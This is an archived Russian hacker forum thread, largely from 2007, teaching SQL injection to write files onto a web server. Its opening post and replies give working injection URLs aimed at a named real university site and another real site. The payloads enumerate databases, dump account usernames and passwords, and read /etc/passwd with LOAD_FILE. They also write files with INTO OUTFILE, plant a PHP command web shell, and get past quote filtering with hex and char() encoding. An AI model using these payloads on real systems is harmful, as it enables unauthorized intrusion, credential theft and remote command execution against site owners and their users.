PDA

Просмотр полной версии : Загрузка файл через mysql inj.


guest3297
27.02.2007, 21:19
Загрузка файл через mysql inj.

[INTRO]
Думаю будет полезно новичкам и тем у кого не было практики в этом вопросе. Статья узко направленная, поэтому маленькая по обьему. Побудило меня написать большое кол-во вопросов в icq. Тема Много где обсуждалась но нечего кроме теоритеческих данных не было сегодня мы полностью раскроем этот вопрос и протестим все на конкретном примере.

[хек-хек]
И так начнем.
Наш подопытный:
research.udmercy.edu

Есть SQL:
http://research.udmercy.edu/ids/technoclass.php?id=6+union+select+1,2,3,4,5,6/*

Смотрим user() version() database()
http://research.udmercy.edu/ids/technoclass.php?id=99+union+select+1,2,user(),4,5, 6/*
http://research.udmercy.edu/ids/technoclass.php?id=99+union+select+1,2,version(),4 ,5,6/*
http://research.udmercy.edu/ids/technoclass.php?id=99+union+select+1,2,database(), 4,5,6/*


Версия 5 смотрим Какие таблицы есть.
http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,table_name,3,4,5,6+from+INF ORMATION_SCHEMA.TABLES/*

Тестовый вывод данных из бд.
http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,concat(username,char(58),pa ssword),3,4,5,6+from+accounts+limit+1,2/*

Проверяем на чтение файлов.
http://research.udmercy.edu/ids/technoclass.php?id=-6+UNION+SELECT+1,2,LOAD_FILE('/etc/passwd'),4,5,6/*


C обходом фильтрации (Сдесь не требуеться.)
http://research.udmercy.edu/ids/technoclass.php?id=-6+UNION+SELECT+1,2,LOAD_FILE(0x2f6574632f706173737 764),4,5,6/*

Способ №1
Проверям на запись файла общий синтаксис такой:
http://research.udmercy.edu/ids/technoclass.php?id=99+UNION+SELECT+null,'text',nul l,null,null,null+from+table+into+outfile+'/tmp/file.php'/*

Записываем (Когда будете тестить надо указывать уникальное имя файла, если такой файл уже будет то запись не произайдет. должна вывестись ошибка
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource). Записываемый в файл текст мы кодируем в 0x+hex сделать это можно тут (http://hack-shop.org.ru/?page=6&ln=ru)
http://research.udmercy.edu/ids/technoclass.php?id=-6+UNION+SELECT+null,0x66726f6d205b2063617368205d20 7768697468206c6f7665202929292929,null,null,null,nu ll+from+accounts+into+outfile+'/tmp/aaa.php'/*

Способ №2
http://research.udmercy.edu/ids/technoclass.php?id=6+UNION+SELECT+1,3,4,5,6,7+from +accounts+into+outfile+'/tmp/aaaaaaaaaaaa1.php'+FIELDS+TERMINATED+BY+''+OPTIONA LLY+ENCLOSED+BY+0x74657374/*

Спсоб №3
http://research.udmercy.edu/ids/technoclass.php?id=-6+UNION+SELECT+null,0x66726f6d205b2063617368205d20 7768697468206c6f7665202929292929,null,null,null,nu ll+from+accounts+into+dumpfile+'/tmp/aaaaaaaaa11231.php'/*

Проверям записалось ли???
http://research.udmercy.edu/ids/technoclass.php?id=-6+UNION+SELECT+1,2,LOAD_FILE('/tmp/aaa.php'),4,5,6/*
Записалось.

Полный путь до www
/var/www/

[PS]
Видео урок можно скачать ТУТ (http://hack-shop.org.ru/video.rar)

Не стоит дефейсить сайт. Все данные предоставленные в статье предназначены только для ознакомления. С нетерпением жду коментов и вопросов. Спасибо за внимание.

[ cash ] Hack-Shop.Org.Ru (c)

Spyder
27.02.2007, 21:31
хыхы. Сказал бы кому спасибо за обнаружение иньекции =)
Статья хорошая, но подобных уже полно

guest3297
27.02.2007, 21:34
2Spyder
Прочитай интро и покажи мне такую же статью
ps иньекцию нашел не я, а Spyder но думаю не это главное...

madnet
27.02.2007, 21:47
Все хорошо, только еще стоит уточнить, что для проведения данной атаки у mysql юзера должны быть права на работу с файлами, что в последнее время практически нигде не встречается + при экранировании кавычек into outfile не работает.


P.S. вижу что Слайдер просматривает тему, ща влепит минус за GET =))

guest3297
27.02.2007, 21:50
Ну да ты прав.
экранирование кавычек можно обходить

%27
%22
%60
%2527
`
"

Да не забываем посылать запросы post методом. а то тема долго не проживет. хотя видео снял :)

k1b0rg
27.02.2007, 21:51
однотипная статья....таких в инете полно...


[cash] ты пишешь дохрена статей, но все на низком уровне, копай глубже.

То что здесь написано даже ламеры знают... into outfile это не единственный способ вывести инфу в файл..... По крайне мере я знаю 3 способа....


Оценка: 3-
Тема сисек не раскрыта!

guest3297
27.02.2007, 21:57
2k1b0rg
тебя вообще сложно удивить...

vmn
27.02.2007, 21:59
Описанное тут есть в каждой статье по mysql-inj.

Хотелось бы узнать поподробнее про другие способы заливки шелла в mysql. Про into outfile + magic_quotes On тоже хотелось бы узнать :)

guest3297
27.02.2007, 22:47
Способ №2
http://research.udmercy.edu/ids/technoclass.php?id=6+UNION+SELECT+1,3,4,5,6,7+from +accounts+into+outfile+'/tmp/aaaaaaaaaaaa1.php'+FIELDS+TERMINATED+BY+''+OPTIONA LLY+ENCLOSED+BY+0x74657374/*

Спсоб №3
http://research.udmercy.edu/ids/technoclass.php?id=-6+UNION+SELECT+null,0x66726f6d205b2063617368205d20 7768697468206c6f7665202929292929,null,null,null,nu ll+from+accounts+into+dumpfile+'/tmp/aaaaaaaaa11231.php'/*

ps обновил

_Pantera_
28.02.2007, 01:50
']Ну да ты прав.
экранирование кавычек можно обходить

Если я не ошибаюсь into outfile ''-- работает именно на одинарных ковычках только вида ' но не `.
А так в общем молодец, за труды респект

ps и еще хочу добавить, основная задача ведь не в записи левой строчки в файл а в записи веб шелла <?php system($_GET[cmd]); ?> . Допустим ты создал файл shell.php c данной строчкой в /tmp, но ведь это самый минимум, самое простое. Основная задача пронклудить файл, что сложнее(конечто же если сайт не дырявый). Но может быть альтернатва, если ты раскрыл полный путь и нашел какуе то папочку с правами на запись тогда все проще намного.

guest3297
28.02.2007, 09:17
2_Pantera_
ну потести на каком нить серве поставь себе mysql и phpmyadmin
into outfile работает как `(%60) так и с ' (%27) кавычками с "(%22) не пробывал но по идее тоже должно работать.

Посмотри внизу статьи полный путь до www зачем что то инлудить???

_Pantera_
28.02.2007, 09:35
работает ' и " а ковычки ` не работают я проверял, а ' (%27) и "(%22) воспринимается браузером одинаково
можешь сам потестить
http://www.caduser.ru/acad/index.php?ver_id=1+union+select+1,'qqqqqqqq',3,4+f rom+mysql.user+into+outfile+"/tmp/file111.php"--
а инклудить надо для того что б шелл запустить, ведь он лижит не на сайте, а в /tmp

ps попробуй на этом сайте проинклудить у меня не получилось если что стукне мне в аську или в пм

andy13
28.02.2007, 11:47
еще экранирование кавычек (т.е. magic_quotes_gpc = On) можно обойти с помощью char().

madnet
28.02.2007, 11:50
']Способ №2


Спсоб №3


ps обновил

Посути это точно такой же способ, только в первом случае возможно добавление дополнительных символов в сохраняемый файл, которые просто так, к примеру, не получилось добавить, ну а второй, просто называется по другому, в любом случае, главного недостатка (неработаспособности при экранировании) они не лишены и отдельными способами заливки шела их выносить не стоит.

madnet
28.02.2007, 11:51
еще экранирование кавычек (т.е. magic_quotes_gpc = On) можно обойти с помощью char().

Открой глаза, выше написано что при сохранении нельзя, а разговор сейчас именно об этом.

guest3297
28.02.2007, 12:16
2andy13
наркоман?

2madnet
Я не борюсь за звание супер хакера я делюсь своими знаниями с теми кто знает меньше меня. Я знаю недостаки этих спасобов и что написанно много статей я пытался только помочь тем кто разбираеться меньше, если вы считаете эту статью недостойной то просто удалите ее. Многие из AMA SM вообще нечего не пишут хотя античат думаю один из лучших he порталов со статьями.

2all
Если кто то из вас может дополнить то напишите, а говорить что это уже все знают смысл?

andy13
28.02.2007, 12:32
2madnet: да, действительно, я имел в виду обход кавычек при чтении файлов.
не обратил внимание.
2[ cash ]: нет

gemaglabin
24.04.2007, 13:36
Если файл не удается прочитать можно попробовать его в таблицу запихнуть


LOAD DATA INFILE '/etc/passwd' INTO TABLE hack.table FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n'

LOAD DATA INFILE '/etc/passwd' INTO TABLE hack.table (colum1,column2)


Если mysql ниже 3.2 то надо делать так


LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE hack.table


А использование INTO DUMPFILE вместо INTO OUTFILE делает дамп неразборчивым для чтения тк идет без ограничитей строк и стоблцов,это для BLOB данных.И кстати наиболее всего


SELECT DATA INTO OUTFILE '/tmp/hack.txt' FIELDS TERMINATED BY ',' OPIONALLY ENCLODES BY '"' LINES TERMINATED BY '\n' FROM hack.table

4xks
21.05.2007, 00:45
интереснинькая статься - только сколько я не пробовал ети инекции всегда неполучалось в месте когда цыфры вводить нужно - поля не менялись - кто знает в чем трабла?

Dark Angel
17.07.2007, 04:36
плз, выложите кто-нибудь видео ешё раз!

_Sniper_
22.07.2007, 12:31
404 not found /video.rar
=\
Перезалейте

Constantine
22.07.2007, 19:51
На видио вы ничего особенного не увидете, если не поняли смысл того что написано, то и видио смотреть бессмысленно, имхо

guest3297
23.07.2007, 11:44
У меня видео не осталось, спасибо модерам видео ачата что проигнорировали.

ccrus
23.09.2007, 18:47
так кто знает способ заливки шелла,когда magic_quotes=on ?

BiZoNiX
08.11.2007, 02:50
Если файл не удается прочитать можно попробовать его в таблицу запихнуть
LOAD DATA INFILE '/etc/passwd' INTO TABLE hack.table FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n'

LOAD DATA INFILE '/etc/passwd' INTO TABLE hack.table (colum1,column2)
у меня проблема с чтением файла делаю вот так

DROP TABLE IF EXISTS s;
CREATE TABLE `s` (`script` TEXT NOT NULL);
LOAD DATA LOCAL INFILE "/home/www/db_settings.php" INTO TABLE s;
SELECT * FROM s


на выводе всё что в файле идет внутри знаков {*} и array("*") пропустилось

Spyder
11.12.2007, 17:28
Небольшое дополнение к статье
Бывает что у юзера от которого работает скрипт есть file_priv, но мы не можем узнать локальный путь до сайта, ну или не знаем папки на сайте. Если при возникновении неправильного запроса мы видим полное описание ошибки, то это может помочь нам в загрузке файла на сервер, т.к. мускул при попытке создать файл выводит номера ошибок Unix-подобных систем.
т.е предположим мы хотим создать файл в каталоге root что нам в 99.99% случаях не получится, тогда MySQL выдаст нам нечто подобное
Can't create/write to file '/root/xek.txt' (Errcode: 13)
Ошибка с кодом 13 означает Permission Denied
При попытке создать уже имеющийся файл:
Can't create/write to file '/etc/passwd' (Errcode: 17)
File already exists
и при попытке создать файл в несуществующей директории:
Can't create/write to file '/xek/nepoxek/123.txt' (Errcode: 2)
No such file or directory
Т.е благодаря простому перебору мы можем найти локальный путь к сайту, хотя это очень геморно и конечно не даёт 100% гарантии его нахождения
Повторюсь что данные ошибки появляются не всегда =\

Scipio
11.12.2007, 17:35
угу, я тоже замечал что то наподобие, я это написал в пояснении к видео по взлому, но видео так и не выложил, т.к. понял что в видео ничего суперпотрясающего нет...

вот цитата из пояснения:
(К слову сказать, часто бывает так, что если есть права на чтение файлов через sql инъекцию, то при обращении к несуществующей директории возникает ошибка синтаксиса, а при обращении к существующей директории ошибки не возникает (но ничего естественно не выводит) это очень помогает в поиске путей к файлам, попробуйте в phpMyAdmin)

С FreeBSD дела обстаят проще...
вот здесь про это можно прочитать:
http://forum.antichat.ru/thread55237.html

Евгений Минаев
21.12.2007, 22:39
Mysql в шестой ветке всерьез задумались поддержать именитую x-технологий xml и дать нам еще одну возможность для подрузки файла - новая функция под названием LOAD XML.Насчет ограничений обрамления файла ковычками не знаю но на сайте mysql написано что имя файла должно быть заключено в ковычки.

Файл должен быть примерно в таком виде.Поставим - увидим , что получится ...


<row>
<column1>value1</column1>
<column2>value2</column2>
</row>



http://dev.mysql.com/doc/refman/6.0/en/load-xml.html

~Taxa~
31.01.2008, 05:04
У меня вопрос, вот пример есть сайт но там стоит фильтр на кавычки. Я могу читать файлы только через SQL HEX такой если я пример зашифрую
/tmp/shell.php - без ковычик в SQL HEX
<?php system($_POST['cmd']);?> - SQL HEX и у меня получится так:
http://site.com/index.php?id=-1+union+select+1,2,тут зашифрованный шелл в SQL HEX,4,5,6+from+user+into+outfile+а тут зашифрованный /tmp/shell.php в SQL HEX (0x746d702f7368656c6c2e706870)/*

Это команда выполнится? То есть если у меня хватает прав на запись, то разницы нету в в SQL HEX я передаю или нет?

Piflit
31.01.2008, 05:12
нету

krypt3r
31.01.2008, 10:31
http://research.udmercy.edu/ids/technoclass.php?id=99+UNION+SELECT+null,'text',nul l,null,null,null+from+table+into+outfile+'/tmp/file.php'/*

Уже говорилось на форуме, что в структуре SELECT...INTO OUTFILE наличие from table не является обязательным. Если не изменяет память, то from table требовалось в мускуле третьей версии

У меня вопрос, вот пример есть сайт но там стоит фильтр на кавычки. Я могу читать файлы только через SQL HEX такой если я пример зашифрую
/tmp/shell.php - без ковычик в SQL HEX
<?php system($_POST['cmd']);?> - SQL HEX и у меня получится так:
http://site.com/index.php?id=-1+union+select+1,2,тут зашифрованный шелл в SQL HEX,4,5,6+from+user+into+outfile+а тут зашифрованный /tmp/shell.php в SQL HEX (0x746d702f7368656c6c2e706870)/*

Это команда выполнится? То есть если у меня хватает прав на запись, то разницы нету в в SQL HEX я передаю или нет?
Эта команда не выполнится, если стоит фильтр на кавычки, ибо мускуль после INTO OUTFILE ждет строку, заключенную или в одинарные, или в двойные кавычки. Всякие sql-hex, char() и остальное работать не будет

.Begemot.
15.02.2008, 19:31
Ни одна из ссылок в первом посте на "жертву" не работает. А сам сайт соществует и по сей день, и остался таким же дырявым.)
Вот пару ссылок, кому интерестно:
http://research.udmercy.edu/library_information/circulation_services/page.php?id=-32+union+select+0,1,concat(USER(),0x3a,VERSION(),0 x3a,DATABASE()),3,4/*
USER:1dsl1bmcn@localhost
VERSION:5.0.32-Debian_7etch5-log
DATABASE:research
http://research.udmercy.edu/library_information/circulation_services/page.php?id=-32+union+select+0,1,table_name,3,4+from+informatio n_schema.tables+limit+17,10/* - вывод названий таблиц
Теперь скрипт фильтрует ковычки, но переводом в char фильтрацию можно обойти.
Сделать это по прежнему можно на упомянутом в самой статье сайте мы кодируем в 0x+hex сделать это можно тут (http://hack-shop.org.ru/?page=6&ln=ru)
http://research.udmercy.edu/library_information/circulation_services/page.php?id=-32+union+select+0,1,LOAD_FILE(0x2f6574632f70617373 7764),3,4/* - читаем /etc/passwd

crazy~driver
24.12.2008, 01:58
помогите тож с скуль иньектом
проблема что фильтруются
запрос sportID=-20+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,CHAR(39,60,115,99,114,105,112,116,62,97 ,108,101,114,116,40,50,49,51,41,32,60,47,115,99,11 4,105,112,116,62,39),20+from+t_sports+order+by+lev el+into+outfile+'/tmp/1.txt'/*
Так как путь указан с кавычками то выпрыгивает ерор:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/tmp/1.txt''/* ORDER BY Level' at line 1 :confused:
Как обойти фильтрацию?

Tigger
31.01.2009, 12:03
Статья хорошая. Плохо, что не написано при каких условиях возможно залить файл: то есть не написано, что надо, чтобы мы могли читать файлы, чтобы не фильтровалась ковычка, чтобы хватило прав на запись ;)
А так очень хорошо! Молодец!